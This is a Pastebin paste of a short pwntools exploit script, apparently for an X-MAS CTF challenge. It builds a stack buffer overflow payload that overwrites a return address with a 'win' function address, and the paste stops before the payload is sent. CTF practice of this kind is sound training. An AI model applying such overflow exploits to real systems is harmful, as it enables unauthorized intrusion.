a guest Dec 14th, 2019 128 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
- #! /usr/bin/env python2.7
- from pwn import *
- binary = "./chall"
- e = ELF(binary)
- context.update(arch='amd64', os='linux')
- WIN = 0x0000000000401156
- if __name__ == "__main__":
- conn = connect("challs.xmas.htsp.ro", 12006)
- #conn = process(binary)
- conn.recvuntil("Helloooooo, do you like to build snowmen?\n")
- #gdb.attach(conn, gdbscript=gdbscript)
- pattern0 = cyclic(15)
- payload = "yes" + "A"*15 + p64(WIN) + "D" * 68
RAW Paste Data